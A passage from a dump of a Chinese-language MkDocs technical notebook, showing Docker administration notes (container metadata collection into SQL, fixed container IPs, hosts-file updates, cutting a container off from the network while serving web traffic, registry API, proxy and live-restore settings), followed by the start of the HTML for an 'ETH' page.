s-Atom\">i</span> <span class=\"s s-Atom\">in</span> <span class=\"s s-Atom\">glob</span><span class=\"p\">.</span><span class=\"nf\">glob</span><span class=\"p\">(</span><span class=\"s2\">&quot;*/&quot;</span><span class=\"p\">)</span><span class=\"o\">:</span>\n    <span class=\"s s-Atom\">if</span> <span class=\"o\">not</span> <span class=\"s s-Atom\">os</span><span class=\"p\">.</span><span class=\"s s-Atom\">path</span><span class=\"p\">.</span><span class=\"nf\">exists</span><span class=\"p\">(</span><span class=\"s s-Atom\">i+</span><span class=\"s2\">&quot;hostname&quot;</span><span class=\"p\">)</span><span class=\"o\">:</span>\n        <span class=\"s s-Atom\">#</span><span class=\"nf\">print</span><span class=\"p\">(</span><span class=\"s s-Atom\">i</span><span class=\"p\">)</span>\n        <span class=\"s s-Atom\">continue</span>\n    <span class=\"s s-Atom\">data</span> <span class=\"o\">=</span> <span class=\"s s-Atom\">json</span><span class=\"p\">.</span><span class=\"nf\">loads</span><span class=\"p\">(</span><span class=\"nf\">open</span><span class=\"p\">(</span><span class=\"s s-Atom\">i+</span><span class=\"s2\">&quot;config.v2.json&quot;</span><span class=\"p\">).</span><span class=\"nf\">read</span><span class=\"p\">())</span>\n    <span class=\"s s-Atom\">name</span> <span class=\"o\">=</span> <span class=\"s s-Atom\">data</span><span class=\"p\">[</span><span class=\"s2\">&quot;Name&quot;</span><span class=\"p\">]</span>\n    <span class=\"s s-Atom\">starttime</span> <span class=\"o\">=</span> <span class=\"s s-Atom\">data</span><span class=\"p\">[</span><span class=\"s2\">&quot;State&quot;</span><span class=\"p\">][</span><span class=\"s2\">&quot;StartedAt&quot;</span><span class=\"p\">]</span>\n    <span class=\"s s-Atom\">endtime</span> <span class=\"o\">=</span> <span class=\"s s-Atom\">data</span><span class=\"p\">[</span><span class=\"s2\">&quot;State&quot;</span><span class=\"p\">][</span><span class=\"s2\">&quot;FinishedAt&quot;</span><span class=\"p\">]</span>\n    <span class=\"s s-Atom\">if</span> <span class=\"s s-Atom\">endtime</span> <span class=\"p\">!</span><span class=\"o\">=</span> <span class=\"s2\">&quot;0001-01-01T00:00:00Z&quot;</span><span class=\"o\">:</span>\n        <span class=\"s s-Atom\">runningtime</span> <span class=\"o\">=</span> <span class=\"p\">(</span><span class=\"s s-Atom\">datetime</span><span class=\"p\">.</span><span class=\"s s-Atom\">datetime</span><span class=\"p\">.</span><span class=\"nf\">strptime</span><span class=\"p\">(</span><span class=\"s s-Atom\">endtime</span><span class=\"p\">.</span><span class=\"nf\">split</span><span class=\"p\">(</span><span class=\"s2\">&quot;.&quot;</span><span class=\"p\">)[</span><span class=\"mi\">0</span><span class=\"p\">],</span> <span class=\"s2\">&quot;%Y-%m-%dT%H:%M:%S&quot;</span><span class=\"p\">)</span> <span class=\"o\">-</span> <span class=\"s s-Atom\">datetime</span><span class=\"p\">.</span><span class=\"s s-Atom\">datetime</span><span class=\"p\">.</span><span class=\"nf\">strptime</span><span class=\"p\">(</span><span class=\"s s-Atom\">starttime</span><span class=\"p\">.</span><span class=\"nf\">split</span><span class=\"p\">(</span><span class=\"s2\">&quot;.&quot;</span><span class=\"p\">)[</span><span class=\"mi\">0</span><span class=\"p\">],</span> <span class=\"s2\">&quot;%Y-%m-%dT%H:%M:%S&quot;</span><span class=\"p\">)).</span><span class=\"nf\">total_seconds</span><span class=\"p\">()</span>\n    <span class=\"s s-Atom\">else</span><span class=\"p\">:</span>\n        <span class=\"s s-Atom\">runningtime</span> <span class=\"o\">=</span> <span class=\"o\">-</span><span class=\"mi\">1</span>\n    <span class=\"s s-Atom\">memlimit</span> <span class=\"o\">=</span> <span class=\"nf\">int</span><span class=\"p\">(</span><span class=\"s s-Atom\">json</span><span class=\"p\">.</span><span class=\"nf\">load</span><span class=\"p\">(</span><span class=\"nf\">open</span><span class=\"p\">(</span><span class=\"s s-Atom\">i+</span><span class=\"s2\">&quot;hostconfig.json&quot;</span><span class=\"p\">))[</span><span class=\"s2\">&quot;Memory&quot;</span><span class=\"p\">]</span><span class=\"o\">/</span><span class=\"mi\">1024</span><span class=\"o\">/</span><span class=\"mi\">1024</span><span class=\"p\">)</span>\n    <span class=\"s s-Atom\">sqlpending</span><span class=\"p\">.</span><span class=\"nf\">extend</span><span class=\"p\">([</span><span class=\"s s-Atom\">server</span><span class=\"p\">,</span> <span class=\"s s-Atom\">name</span><span class=\"p\">[</span><span class=\"mi\">1</span><span class=\"o\">:</span><span class=\"p\">],</span> <span class=\"s s-Atom\">i</span><span class=\"p\">[</span><span class=\"o\">:-</span><span class=\"mi\">1</span><span class=\"p\">],</span> <span class=\"nf\">int</span><span class=\"p\">(</span><span class=\"s s-Atom\">os</span><span class=\"p\">.</span><span class=\"s s-Atom\">path</span><span class=\"p\">.</span><span class=\"nf\">getmtime</span><span class=\"p\">(</span><span class=\"s s-Atom\">i+</span><span class=\"s2\">&quot;hostname&quot;</span><span class=\"p\">)),</span> <span class=\"s s-Atom\">runningtime</span><span class=\"p\">,</span> <span class=\"s s-Atom\">memlimit</span><span class=\"p\">])</span>\n    <span class=\"s s-Atom\">sql</span> <span class=\"s s-Atom\">+=</span> <span class=\"s2\">&quot;(%s, %s, %s, %s, %s, %s),&quot;</span>\n\n<span class=\"s s-Atom\">#</span><span class=\"nf\">print</span><span class=\"p\">(</span><span class=\"s s-Atom\">sqlpending</span><span class=\"p\">)</span>\n<span class=\"nf\">runsql</span><span class=\"p\">(</span><span class=\"s s-Atom\">sql</span><span class=\"p\">[</span><span class=\"o\">:-</span><span class=\"mi\">1</span><span class=\"p\">],</span> <span class=\"o\">*</span><span class=\"s s-Atom\">sqlpending</span><span class=\"p\">)</span>\n</code></pre></div>\n\n<h2 id=\"ip_1\">固定容器的IP<a class=\"headerlink\" href=\"#ip_1\" title=\"Permanent link\">&para;</a></h2>\n<p>参考： https://github.com/johnnian/Blog/issues/16</p>\n<p>默认的bridge网络不支持指定ip，需要再创建一个网络：</p>\n<div class=\"codehilite\"><pre><span></span><code>docker network create --subnet=172.18.0.0/16 b\n</code></pre></div>\n\n<p>创建容器的时候可以<code>--network b --ip 172.18.0.2</code></p>\n<p>已经存在的容器需要用：</p>\n<div class=\"codehilite\"><pre><span></span><code>docker<span class=\"w\"> </span>network<span class=\"w\"> </span>connect<span class=\"w\"> </span>--ip<span class=\"w\"> </span>172.18.0.2<span class=\"w\"> </span>--alias<span class=\"w\"> </span><span class=\"cp\">${</span><span class=\"n\">name</span><span class=\"cp\">}</span><span class=\"w\"> </span>b<span class=\"w\"> </span><span class=\"cp\">${</span><span class=\"n\">name</span><span class=\"cp\">}</span>\n</code></pre></div>\n\n<p>不想改动docker的network还有个临时的办法：</p>\n<h2 id=\"ip-etchosts\">获取容器IP 更新主机/etc/hosts<a class=\"headerlink\" href=\"#ip-etchosts\" title=\"Permanent link\">&para;</a></h2>\n<p>需要先将当前的hosts文件复制为/etc/hosts.base</p>\n<p>其中bridge可能需要改成docker inspect输出的其他network名称</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"ch\">#!/bin/bash</span>\n<span class=\"k\">if</span><span class=\"w\"> </span><span class=\"o\">[[</span><span class=\"w\"> </span><span class=\"nv\">$EUID</span><span class=\"w\"> </span>-ne<span class=\"w\"> </span><span class=\"m\">0</span><span class=\"w\"> </span><span class=\"o\">]]</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"k\">then</span>\n<span class=\"w\">   </span><span class=\"nb\">echo</span><span class=\"w\"> </span><span class=\"s2\">&quot;This script must be run as root&quot;</span>\n<span class=\"w\">   </span><span class=\"nb\">exit</span><span class=\"w\"> </span><span class=\"m\">1</span>\n<span class=\"k\">fi</span>\ncp<span class=\"w\"> </span>/etc/hosts.base<span class=\"w\"> </span>/etc/hosts\n<span class=\"nb\">echo</span><span class=\"w\"> </span><span class=\"sb\">`</span>docker<span class=\"w\"> </span>inspect<span class=\"w\"> </span><span class=\"si\">${</span><span class=\"nv\">name</span><span class=\"si\">}</span><span class=\"w\"> </span>--format<span class=\"w\"> </span><span class=\"s1\">&#39;{{.NetworkSettings.Networks.bridge.IPAddress}}&#39;</span><span class=\"sb\">`</span><span class=\"w\">  </span><span class=\"si\">${</span><span class=\"nv\">name</span><span class=\"si\">}</span><span class=\"w\"> </span>&gt;&gt;<span class=\"w\"> </span>/etc/hosts\n</code></pre></div>\n\n<p>另外 你还可以启动个dns服务的容器来解析容器hostname:</p>\n<p>https://stackoverflow.com/questions/37242217/access-docker-container-from-host-using-containers-name/45071126#45071126</p>\n<hr />\n<h2 id=\"docker-web\">Docker容器禁止主动联网 但对外提供web服务<a class=\"headerlink\" href=\"#docker-web\" title=\"Permanent link\">&para;</a></h2>\n<p>@TAG 端口映射 ctf</p>\n<p>首先排除<code>--network none</code>，这样没有网卡怎么做端口映射</p>\n<p>下面假设容器名称为<code>${CONTAINER}</code>，容器启动的http服务端口为5000</p>\n<h3 id=\"_15\">简单方案 直接删除默认路由<a class=\"headerlink\" href=\"#_15\" title=\"Permanent link\">&para;</a></h3>\n<div class=\"codehilite\"><pre><span></span><code>nsenter<span class=\"w\"> </span>--target<span class=\"w\"> </span>`docker<span class=\"w\"> </span>inspect<span class=\"w\"> </span>--format<span class=\"w\"> </span>&#39;{{.State.Pid}}&#39;<span class=\"w\"> </span><span class=\"cp\">${</span><span class=\"n\">CONTAINER</span><span class=\"cp\">}</span>`<span class=\"w\">  </span>--net<span class=\"w\"> </span>--pid<span class=\"w\"> </span>route<span class=\"w\"> </span>delete<span class=\"w\"> </span>default\n</code></pre></div>\n\n<p>好处在于访问网络的请求能迅速报错<code>Network is unreachable</code>，也不需要额外的容器参数配置</p>\n<p>但容器每次重启都需要重新执行</p>\n<h3 id=\"nginx\">复杂方案 创建个内部网络 Nginx转发<a class=\"headerlink\" href=\"#nginx\" title=\"Permanent link\">&para;</a></h3>\n<p>docker的创建网络提供了<code>--internal</code>参数，意思是不允许这个网络访问外界，但是访问网络的请求不会立刻返回，效果像是一直丢包就没响应</p>\n<p>这里我们创建一个名为<code>${CONTAINER}_nonet</code>的网络，启动容器的时候指定这个网络并配置别名app</p>\n<p>然后还需要Nginx容器同时加入默认网络和这个网络来进行转发，Nginx容器一开始创建后的启动会报错反复重启（无法解析app），加入网络后即可正常启动</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">docker</span><span class=\"w\"> </span><span class=\"n\">network</span><span class=\"w\"> </span><span class=\"k\">create</span><span class=\"w\"> </span><span class=\"n\">$</span><span class=\"err\">{</span><span class=\"n\">CONTAINER</span><span class=\"err\">}</span><span class=\"n\">_nonet</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">internal</span>\n<span class=\"n\">docker</span><span class=\"w\"> </span><span class=\"n\">run</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">network</span><span class=\"w\"> </span><span class=\"n\">$</span><span class=\"err\">{</span><span class=\"n\">CONTAINER</span><span class=\"err\">}</span><span class=\"n\">_nonet</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">network</span><span class=\"o\">-</span><span class=\"n\">alias</span><span class=\"w\"> </span><span class=\"n\">app</span><span class=\"w\"> </span><span class=\"p\">...</span>\n<span class=\"n\">docker</span><span class=\"w\"> </span><span class=\"n\">run</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"k\">name</span><span class=\"w\"> </span><span class=\"n\">$</span><span class=\"err\">{</span><span class=\"n\">CONTAINER</span><span class=\"err\">}</span><span class=\"n\">_nginx</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">d</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">v</span><span class=\"w\"> </span><span class=\"n n-Quoted\">`pwd`</span><span class=\"o\">/</span><span class=\"n\">nginxconf</span><span class=\"o\">:/</span><span class=\"n\">etc</span><span class=\"o\">/</span><span class=\"n\">nginx</span><span class=\"o\">/</span><span class=\"n\">conf</span><span class=\"p\">.</span><span class=\"n\">d</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">p</span><span class=\"w\"> </span><span class=\"mi\">20528</span><span class=\"o\">:</span><span class=\"mi\">80</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"k\">restart</span><span class=\"o\">=</span><span class=\"k\">always</span><span class=\"w\"> </span><span class=\"n\">nginx</span>\n<span class=\"n\">docker</span><span class=\"w\"> </span><span class=\"n\">network</span><span class=\"w\"> </span><span class=\"n\">connect</span><span class=\"w\"> </span><span class=\"n\">$</span><span class=\"err\">{</span><span class=\"n\">CONTAINER</span><span class=\"err\">}</span><span class=\"n\">_nonet</span><span class=\"w\"> </span><span class=\"n\">$</span><span class=\"err\">{</span><span class=\"n\">CONTAINER</span><span class=\"err\">}</span><span class=\"n\">_nginx</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">alias</span><span class=\"w\"> </span><span class=\"n\">nginx</span>\n</code></pre></div>\n\n<p>其中nginxconf文件夹里放一个default.conf:</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"nt\">server</span><span class=\"w\"> </span><span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"err\">listen</span><span class=\"w\">       </span><span class=\"err\">80</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"err\">server_name</span><span class=\"w\">  </span><span class=\"err\">localhost</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"err\">location</span><span class=\"w\"> </span><span class=\"err\">/</span><span class=\"w\"> </span><span class=\"err\">{</span>\n<span class=\"w\">        </span><span class=\"err\">proxy_pass</span><span class=\"w\"> </span><span class=\"n\">http</span><span class=\"p\">:</span><span class=\"o\">//</span><span class=\"n\">app</span><span class=\"o\">:</span><span class=\"mi\">5000</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"err\">proxy_set_header</span><span class=\"w\"> </span><span class=\"err\">X-Forwarded-For</span><span class=\"w\"> </span><span class=\"err\">$proxy_add_x_forwarded_for</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n<span class=\"err\">}</span>\n</code></pre></div>\n\n<p>既然用了反向代理，应用层也需要配置一下IP相关的修复才能使日志显示访问者ip（而不是Nginx容器的IP），比如Flask 1.0需要：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"kn\">from</span> <span class=\"nn\">werkzeug.middleware.proxy_fix</span> <span class=\"kn\">import</span> <span class=\"n\">ProxyFix</span>\n<span class=\"n\">app</span><span class=\"o\">.</span><span class=\"n\">wsgi_app</span> <span class=\"o\">=</span> <span class=\"n\">ProxyFix</span><span class=\"p\">(</span><span class=\"n\">app</span><span class=\"o\">.</span><span class=\"n\">wsgi_app</span><span class=\"p\">)</span>\n</code></pre></div>\n\n<p>这个方案有点复杂，但好处在于重启容器不需要额外配置，反正连不上网</p>\n<p>坏处在于访问网络的请求会一直卡住，应用层需要自己考虑超时</p>\n<p>你可以把这两种方案结合起来，即使忘了删默认路由也能保证不能联网</p>\n<h2 id=\"registryapi\">私有registry的api<a class=\"headerlink\" href=\"#registryapi\" title=\"Permanent link\">&para;</a></h2>\n<p>文档： https://docs.docker.com/registry/spec/api/</p>\n<p>列出所有镜像： <code>/v2/_catalog</code></p>\n<p>列出指定镜像的所有标签： <code>/v2/&lt;name&gt;/tags/list</code></p>\n<hr />\n<h2 id=\"docker-pull_1\">配置docker pull使用代理<a class=\"headerlink\" href=\"#docker-pull_1\" title=\"Permanent link\">&para;</a></h2>\n<p>官方文档： <a href=\"https://docs.docker.com/config/daemon/systemd/#httphttps-proxy\">https://docs.docker.com/config/daemon/systemd/#httphttps-proxy</a></p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">mkdir</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">p</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">etc</span><span class=\"o\">/</span><span class=\"n\">systemd</span><span class=\"o\">/</span><span class=\"n\">system</span><span class=\"o\">/</span><span class=\"n\">docker</span><span class=\"o\">.</span><span class=\"n\">service</span><span class=\"o\">.</span><span class=\"n\">d</span>\n<span class=\"n\">vi</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">etc</span><span class=\"o\">/</span><span class=\"n\">systemd</span><span class=\"o\">/</span><span class=\"n\">system</span><span class=\"o\">/</span><span class=\"n\">docker</span><span class=\"o\">.</span><span class=\"n\">service</span><span class=\"o\">.</span><span class=\"n\">d</span><span class=\"o\">/</span><span class=\"n\">http</span><span class=\"o\">-</span><span class=\"n\">proxy</span><span class=\"o\">.</span><span class=\"n\">conf</span>\n<span class=\"n\">systemctl</span><span class=\"w\"> </span><span class=\"n\">daemon</span><span class=\"o\">-</span><span class=\"n\">reload</span>\n<span class=\"n\">systemctl</span><span class=\"w\"> </span><span class=\"n\">restart</span><span class=\"w\"> </span><span class=\"n\">docker</span>\n<span class=\"n\">systemctl</span><span class=\"w\"> </span><span class=\"n\">show</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">property</span><span class=\"o\">=</span><span class=\"n\">Environment</span><span class=\"w\"> </span><span class=\"n\">docker</span>\n</code></pre></div>\n\n<div class=\"codehilite\"><pre><span></span><code><span class=\"k\">[Service]</span>\n<span class=\"na\">Environment</span><span class=\"o\">=</span><span class=\"s\">&quot;HTTP_PROXY=http://proxy.example.com:80&quot;</span>\n<span class=\"na\">Environment</span><span class=\"o\">=</span><span class=\"s\">&quot;HTTPS_PROXY=https://proxy.example.com:443&quot;</span>\n<span class=\"na\">Environment</span><span class=\"o\">=</span><span class=\"s\">&quot;NO_PROXY=localhost,127.0.0.1,docker-registry.example.com,.corp&quot;</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"docker-daemon_1\">配置docker daemon退出时不自动关闭容器<a class=\"headerlink\" href=\"#docker-daemon_1\" title=\"Permanent link\">&para;</a></h2>\n<p>参考： <a href=\"https://docs.docker.com/config/containers/live-restore/\">https://docs.docker.com/config/containers/live-restore/</a></p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"c1\"># vi /etc/docker/daemon.json</span>\n<span class=\"p\">{</span>\n<span class=\"w\">  </span><span class=\"s2\">&quot;live-restore&quot;</span><span class=\"p\">:</span><span class=\"w\"> </span><span class=\"bp\">true</span>\n<span class=\"p\">}</span>\n<span class=\"c1\"># systemctl reload docker</span>\n</code></pre></div>\n\n\n\n\n\n                \n              </article>\n            </div>\n          \n          \n        </div>\n        \n      </main>\n      \n        <footer class=\"md-footer\">\n  \n  <div class=\"md-footer-meta md-typeset\">\n    <div class=\"md-footer-meta__inner md-grid\">\n      <div class=\"md-copyright\">\n  \n    <div class=\"md-copyright__highlight\">\n      <a href=https://beian.miit.gov.cn/>浙ICP备15043819号-2</a>&nbsp;&nbsp;<a target=_blank href=http://www.beian.gov.cn/portal/registerSystemInfo?recordcode=33010602007826><img src=\"/assets/images/beian.png\" height=14px>浙公网安备 33010602007826号</p></a>\n    </div>\n  \n  \n    Made with\n    <a href=\"https://squidfunk.github.io/mkdocs-material/\" target=\"_blank\" rel=\"noopener\">\n      Material for MkDocs\n    </a>\n  \n</div>\n      \n    </div>\n  </div>\n</footer>\n      \n    </div>\n    <div class=\"md-dialog\" data-md-component=\"dialog\">\n      <div class=\"md-dialog__inner md-typeset\"></div>\n    </div>\n    \n    <script id=\"__config\" type=\"application/json\">{\"base\": \"..\", \"features\": [], \"search\": \"../assets/javascripts/workers/search.208ed371.min.js\", \"translations\": {\"clipboard.copied\": \"Copied to clipboard\", \"clipboard.copy\": \"Copy to clipboard\", \"search.result.more.one\": \"1 more on this page\", \"search.result.more.other\": \"# more on this page\", \"search.result.none\": \"No matching documents\", \"search.result.one\": \"1 matching document\", \"search.result.other\": \"# matching documents\", \"search.result.placeholder\": \"Type to start searching\", \"search.result.term.missing\": \"Missing\", \"select.version\": \"Select version\"}}</script>\n    \n    \n      <script src=\"../assets/javascripts/bundle.efa0ade1.min.js\"></script>\n      \n        <script src=\"../assets/js/instantclick.min.js\"></script>\n      \n        <script src=\"../assets/js/index.js\"></script>\n      \n    \n  </body>\n</html>"
  },
  {
    "path": "docs/ETH/index.html",
    "content": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n  <head>\n    \n      <meta charset=\"utf-8\">\n      <meta name=\"viewport\" content=\"width=device-width,initial-scale=1\">\n      \n        <meta name=\"description\" content=\"我的技术笔记本~\">\n      \n      \n        <meta name=\"author\" content=\"chenyuan\">\n      \n      \n      \n        <link rel=\"prev\" href=\"../Docker/\">\n      \n      \n        <link rel=\"next\" href=\"../Git/\">\n      \n      <link rel=\"icon\" href=\"../assets/images/favicon.png\">\n      <meta name=\"generator\" content=\"mkdocs-1.4.2, mkdocs-material-9.1.3\">\n    \n    \n      \n        <title>ETH - notebook</title>\n      \n    \n    \n      <link rel=\"stylesheet\" href=\"../assets/stylesheets/main.c4a75a56.min.css\">\n      \n        \n        <link rel=\"stylesheet\" href=\"../assets/stylesheets/palette.a0c5b2b5.min.css\">\n      \n      \n\n    \n    \n    \n      \n        \n        \n        <link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin>\n        <link rel=\"stylesheet\" href=\"/assets/css/fonts.css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback\">\n        <style>:root{--md-text-font:\"Roboto\";--md-code-font:\"Roboto Mono\"}</style>\n      \n    \n    \n    <script>__md_scope=new URL(\"..\",location),__md_hash=e=>[...e].reduce((e,_)=>(e<<5)-e+_.charCodeAt(0),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+\".\"+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+\".\"+e,JSON.stringify(_))}catch(e){}}</script>\n    \n      \n\n    \n    \n    \n  </head>\n  \n  \n    \n    \n    \n    \n    \n    <body dir=\"ltr\" data-md-color-scheme=\"default\" data-md-color-primary=\"\" data-md-color-accent=\"\">\n  \n    \n    \n    <input class=\"md-toggle\" data-md-toggle=\"drawer\" type=\"checkbox\" id=\"__drawer\" autocomplete=\"off\">\n    <input class=\"md-toggle\" data-md-toggle=\"search\" type=\"checkbox\" id=\"__search\" autocomplete=\"off\">\n    <label class=\"md-overlay\" for=\"__drawer\"></label>\n    <div data-md-component=\"skip\">\n      \n        \n        <a href=\"#eth\" class=\"md-skip\">\n          Skip to content\n        </a>\n      \n    </div>\n    <div data-md-component=\"announce\">\n      \n    </div>\n    \n    \n      \n\n  \n\n<header class=\"md-header md-header--shadow\" data-md-component=\"header\">\n  <nav class=\"md-header__inner md-grid\" aria-label=\"Header\">\n    <a href=\"..\" title=\"notebook\" class=\"md-header__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    <label class=\"md-header__button md-icon\" for=\"__drawer\">\n      <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M3 6h18v2H3V6m0 5h18v2H3v-2m0 5h18v2H3v-2Z\"/></svg>\n    </label>\n    <div class=\"md-header__title\" data-md-component=\"header-title\">\n      <div class=\"md-header__ellipsis\">\n        <div class=\"md-header__topic\">\n          <span class=\"md-ellipsis\">\n            notebook\n          </span>\n        </div>\n        <div class=\"md-header__topic\" data-md-component=\"header-topic\">\n          <span class=\"md-ellipsis\">\n            \n              ETH\n            \n          </span>\n        </div>\n      </div>\n    </div>\n    \n    \n    \n      <label class=\"md-header__button md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n      </label>\n      <div class=\"md-search\" data-md-component=\"search\" role=\"dialog\">\n  <label class=\"md-search__overlay\" for=\"__search\"></label>\n  <div class=\"md-search__inner\" role=\"search\">\n    <form class=\"md-search__form\" name=\"search\">\n      <input type=\"text\" class=\"md-search__input\" name=\"query\" aria-label=\"Search\" placeholder=\"Search\" autocapitalize=\"off\" autocorrect=\"off\" autocomplete=\"off\" spellcheck=\"false\" data-md-component=\"search-query\" required>\n      <label class=\"md-search__icon md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11h12Z\"/></svg>\n      </label>\n      <nav class=\"md-search__options\" aria-label=\"Search\">\n        \n        <button type=\"reset\" class=\"md-search__icon md-icon\" title=\"Clear\" aria-label=\"Clear\" tabindex=\"-1\">\n          <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12 19 6.41Z\"/></svg>\n        </button>\n      </nav>\n      \n    </form>\n    <div class=\"md-search__output\">\n      <div class=\"md-search__scrollwrap\" data-md-scrollfix>\n        <div class=\"md-search-result\" data-md-component=\"search-result\">\n          <div class=\"md-search-result__meta\">\n            Initializing search\n          </div>\n          <ol class=\"md-search-result__list\" role=\"presentation\"></ol>\n        </div>\n      </div>\n    </div>\n  </div>\n</div>\n    \n    \n      <div class=\"md-header__source\">\n        <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n      </div>\n    \n  </nav>\n  \n</header>\n    \n    <div class=\"md-container\" data-md-component=\"container\">\n      \n      \n        \n          \n        \n      \n      <main class=\"md-main\" data-md-component=\"main\">\n        <div class=\"md-main__inner md-grid\">\n          \n            \n              \n              <div class=\"md-sidebar md-sidebar--primary\" data-md-component=\"sidebar\" data-md-type=\"navigation\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n\n<nav class=\"md-nav md-nav--primary\" aria-label=\"Navigation\" data-md-level=\"0\">\n  <label class=\"md-nav__title\" for=\"__drawer\">\n    <a href=\"..\" title=\"notebook\" class=\"md-nav__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    notebook\n  </label>\n  \n    <div class=\"md-nav__source\">\n      <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 